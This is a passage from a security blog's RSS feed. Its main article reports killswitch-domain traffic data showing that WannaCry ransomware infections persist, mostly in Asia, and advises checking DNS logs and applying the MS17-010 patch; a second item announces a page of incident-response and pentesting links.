&lt;div align=right&gt;&lt;kbd&gt;Source: [Bleeping Computer](https://www.bleepingcomputer.com/news/security/new-data-shows-most-wannacry-victims-are-from-china-not-russia/)&lt;/kbd&gt;&lt;/div&gt;
&lt;p&gt;That however seems to be very far from the true state of affairs. Jamie Hankins from KryptosLogic (company which currently takes care of the killswitch domain) published couple of interesting charts based on monitoring of the killswitch in December. As these charts and other information from Hankins show, quite a large number of computers still try to connect to the killswitch domain every day. From the first chart bellow, you may see that during working hours on weekdays, there are between 500,000 and 600,000 requests detected every 3 hours. This indicates that there are still at least tens of thousands of computers infected by the original version of WannaCry. This is both unexpected and quite scary.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/w_cry-requests.jpg&#34; alt=&#34;WannaCry killswitch requests&#34; /&gt;&lt;/p&gt;
&lt;div align=right&gt;&lt;kbd&gt;Source: [Jamie Hankins](https://twitter.com/2sec4u/status/1076151355759308800)&lt;/kbd&gt;&lt;/div&gt;
&lt;p&gt;Since the killswitch domain works as it should, the ransomware doesn&amp;rsquo;t do anything malicious at the moment. But should the domain go down or be unaccesible for some reason, WannaCry on the infected computers would &amp;ldquo;wake up&amp;rdquo; again and continue with its normal operations, which would undoubtedly cause major problems to all affected subjects.&lt;/p&gt;
&lt;p&gt;On the second chart bellow, you may see that most of the infected machines seem to be in Asia, however that doesn&amp;rsquo;t mean there are no infections still active in other regions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/w_cry-countries.jpg&#34; alt=&#34;WannaCry victims distribution 2018&#34; /&gt;&lt;/p&gt;
&lt;div align=right&gt;&lt;kbd&gt;Source: [Jamie Hankins](https://twitter.com/2sec4u/status/1076151355759308800)&lt;/kbd&gt;&lt;/div&gt;
&lt;p&gt;So this is where we are now - we know WannaCry is still with us and still presents a potential threat. What can we do? It&amp;rsquo;s actually fairly simple. If you don&amp;rsquo;t have any security devices monitoring DNS and web traffic in place, try going through DNS logs for your infrastructure and try to find any lookups for the WannaCry killswitch domain. You probably won&amp;rsquo;t, but it&amp;rsquo;s better to be safe then sorry.&lt;/p&gt;
&lt;p&gt;An if you still haven&amp;rsquo;t applied the &lt;a href=&#34;https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010&#34;&gt;MS17-010&lt;/a&gt; update, well&amp;hellip; in such a case WannaCry might not be your biggest concern, but it&amp;rsquo;d still recommend you apply the patch. After all, it&amp;rsquo;s better to do so more than 18 months late than never.&lt;/p&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        
        
        
        
          
            
              <category>Malware</category>
            
          
            
              <category>WannaCry</category>
            
          
            
              <category>Ransomware</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
      </item>
      
      <item>
        <title>Miscelaneous tools and links</title>
        <link>https://untrustednetwork.net/en/2019/01/08/miscelaneous-tools-and-links/</link>
        <pubDate>Tue, 08 Jan 2019 08:19:11 +0100</pubDate>
        
        <atom:modified>Tue, 08 Jan 2019 08:19:11 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/01/08/miscelaneous-tools-and-links/</guid>
        <description>I&amp;rsquo;ve added a new page to the site with links to miscelaneous tools and materials useful for Incident Response, Malware Analysis, Penetration Testing, etc. It may be accessed here or through the easily remembered URL http://csirt.xyz.</description>
        <content:encoded>&lt;p&gt;I&amp;rsquo;ve added a new page to the site with links to miscelaneous tools and materials useful for Incident Response, Malware Analysis, Penetration Testing, etc. It may be accessed &lt;a href=&#34;https://www.untrustednetwork.net/en/csirt/&#34;&gt;here&lt;/a&gt; or through the easily remembered URL &lt;a href=&#34;http://csirt.xyz&#34;&gt;http://csirt.xyz&lt;/a&gt;.&lt;/p&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        
        
        
        
          
            
              <category>Tools</category>
            
          
            
              <category>Pentest</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
      </item>
      

    
  </channel>
</rss>